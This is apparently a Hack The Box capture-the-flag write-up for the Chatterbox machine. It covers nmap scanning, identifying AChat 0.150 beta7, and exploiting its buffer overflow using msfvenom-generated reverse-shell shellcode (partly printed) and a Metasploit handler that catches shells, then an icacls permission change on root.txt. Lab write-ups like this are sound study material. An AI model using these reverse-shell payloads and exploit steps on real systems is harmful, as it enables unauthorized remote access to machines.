Introduction

Enumeration

Initial Scanning

Like with every box, lets start off with an nmap scan against the Chatterbox machine (10.10.10.74)…

root@dastinia:~/htb/chatterbox# nmap -T4 -sC -sV -n 10.10.10.74 -oA chatterbox_inital_scan Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-22 21:50 EDT Stats: 0:01:13 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 45.00% done; ETC: 21:53 (0:01:28 remaining) Stats: 0:01:16 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 47.00% done; ETC: 21:53 (0:01:25 remaining)Nmap scan report for 10.10.10.74Host is up (0.16s latency). All 1000 scanned ports on 10.10.10.74 are filtered Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 161.17 seconds root@dastinia:~/htb/chatterbox#

Interestingly enough, there were no ports alive… There might be some sort of filtering is taking place on the box, or it’s getting destroyed by other HTB users so I ran a slower full port scan against the box.

root@dastinia:~/htb/chatterbox# cat chatterbox_min_rate_500.nmap # Nmap 7.70 scan initiated Tue May 22 22:12:31 2018 as: nmap -sC -sV -n -sT -p- --min-rate 500 -oA chatterbox_min_rate_500 10.10.10.74 Nmap scan report for 10.10.10.74 Host is up (0.16s latency). Not shown: 65533 filtered ports PORT STATE SERVICE VERSION 9255/tcp open mon? 9256/tcp open tcpwrapped Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Tue May 22 22:18:41 2018 -- 1 IP address (1 host up) scanned in 370.95 seconds

Interesting we are getting responses on two ports, but with no useful information as to what service is running on the port. I’m going to scan (yet again) to further enumerate what the service is. But this time we are going to run it at a T2 rate in case the firewall is dropping traffic due to speed.

root@dastinia:~/htb/chatterbox# nmap -T2 --max-retries 5 -sV -sC -p9255,9256 10.10.10.74 -oA chatterbox_p9255-9256_sc Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-22 22:34 EDT Nmap scan report for 10.10.10.74 Host is up (0.16s latency). PORT STATE SERVICE VERSION 9255/tcp open http AChat chat system httpd |_http-server-header: AChat |_http-title: Site doesn't have a title. 9256/tcp open achat AChat chat system Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 22.60 seconds

Enumerating Port 9255 (AChat Chat System httpd)

If you complete some research on “AChat” you discover a few CVE for the application, including a buffer overflow exploit for AChat version 0.150 beta7, which you can find on searchsploit/exploit-db.

After some quick googling, and looking at the AChat project’s sourceforge page you will discover that the last version of Achat to be released was AChat 0.150 beta7 . So there’s a pretty high chance that this is version of the software running on Chatterbox.

Modifying Exploit ShellCode & Testing Locally

One of the first things I pay attention to is the architecture of the machine that this exploit was tested or developed for (in this case Windows 7 32bit),and what the POC exploit code is executing when it triggers. Usually the exploit developer will let you know what versions of “x” the following was tested as working on. For this exploit, the exploit developer generated shellcode to execute the calculator program when the exploit triggers. This is pretty useless to us, so we are going to drop-in-replace the exac/calc shellcode for simple reverse shell payload and go from there.

I downloaded a copy of the vulnerable AChat program, and ran it on a 64-bit Windows 7 virtual machine.

generating windows reverse shell shellcode with msfvenom

root@dastinia:~/htb/chatterbox# msfvenom -a x86 --platform Windows -p windows/shell/reverse_tcp LHOST=192.168.30.130 LPORT=8282 -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/unicode_mixed x86/unicode_mixed succeeded with size 808 (iteration=0) x86/unicode_mixed chosen with final size 808 Payload size: 808 bytes Final size of python file: 3872 bytes buf = "" buf += "\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49" buf += "\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41" buf += "\x49\x41\x49\x41\x49\x41\x6a\x58\x41\x51\x41\x44\x41" buf += "\x5a\x41\x42\x41\x52\x41\x4c\x41\x59\x41\x49\x41\x51" buf += "\x41\x49\x41\x51\x41\x49\x41\x68\x41\x41\x41\x5a\x31" buf += "\x41\x49\x41\x49\x41\x4a\x31\x31\x41\x49\x41\x49\x41" buf += "\x42\x41\x42\x41\x42\x51\x49\x31\x41\x49\x51\x49\x41" buf += "\x49\x51\x49\x31\x31\x31\x41\x49\x41\x4a\x51\x59\x41" buf += "\x5a\x42\x41\x42\x41\x42\x41\x42\x41\x42\x6b\x4d\x41" buf += "\x47\x42\x39\x75\x34\x4a\x42\x4b\x4c\x69\x58\x32\x62" buf += "\x49\x70\x39\x70\x6d\x30\x4f\x70\x62\x69\x48\x65\x30" buf += "\x31\x79\x30\x71\x54\x64\x4b\x52\x30\x6c\x70\x42\x6b" ...Snip....

After executing the modified exploit…

msf exploit(multi/handler) > set PAYLOAD windows/shell/reverse_tcp PAYLOAD => windows/shell/reverse_tcp msf exploit(multi/handler) > set LHOST 192.168.30.130 LHOST => 192.168.30.130 msf exploit(multi/handler) > set LPORT 8282 LPORT => 8282 msf exploit(multi/handler) > exploit -j -z [*] Exploit running as background job 1. [*] Started reverse TCP handler on 192.168.30.130:8282 [*] Command shell session 2 opened (192.168.30.130:8282 -> 192.168.30.141:49389) at 2018-05-26 16:44:36 -0400 msf exploit(multi/handler) > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 shell x86/windows Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation... 192.168.30.130:8282 -> 192.168.30.141:49388 (192.168.30.141) 2 shell x86/windows 192.168.30.130:8282 -> 192.168.30.141:49389 (192.168.30.141) msf exploit(multi/handler) > sessions -i 2 [*] Starting interaction with 2... Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami win-ecc1ucer094\medic

Now we know that the exploit works & we can successfully get a shell. It may seem like overkill, but I feel like it’s good to understand what a potentially unknown exploit is doing on a local machine before you try exploiting something remotely. It will save tons of time trying to debug why x or y isn’t working, or in determining if the machine simply needs a reset because the service crashed, or there’s other strangeness taking place.

Getting Shell/Root.txt

So we know the exploit works, so let’s modify our msfvenom command to give us a reverse shell for our HTB IP.

root@dastinia:~# msfvenom -a x86 --platform Windows -p windows/shell/reverse_tcp LHOST=10.10.15.226 LPORT=8282 -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python

after executing the modified exploit…

msf > use exploit/multi/handler msf exploit(multi/handler) > set PAYLOAD windows/shell/reverse_tcp PAYLOAD => windows/shell/reverse_tcp msf exploit(multi/handler) > set LHOST tun0 LHOST => tun0 msf exploit(multi/handler) > set LPORT 8282 LPORT => 8282 msf exploit(multi/handler) > set ExitOnSession False ExitOnSession => false msf exploit(multi/handler) > exploit -j -z [*] Exploit running as background job 0. [*] Started reverse TCP handler on 10.10.15.226:8282 msf exploit(multi/handler) > [*] Encoded stage with x86/shikata_ga_nai [*] Sending encoded stage (267 bytes) to 10.10.10.74 [*] Command shell session 1 opened (10.10.15.226:8282 -> 10.10.10.74:49178) at 2018-06-14 21:55:43 -0400

msf exploit(multi/handler) > sessions -i 1 [*] Starting interaction with 1... Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami chatterbox\alfred C:\Users\Alfred\Desktop>type user.txt [redacted]

There seemed to be a file permissions misconfiguration on the local administrators folder, and the root.txt file. I assumed this was the method we were supposed to take to get the root.txt flag. root.txt is owned by Alfred so we can use icacls to give full permissions on the root.txt file so we can read it.

getting root.txt by using icalcs to grant full permissions on the file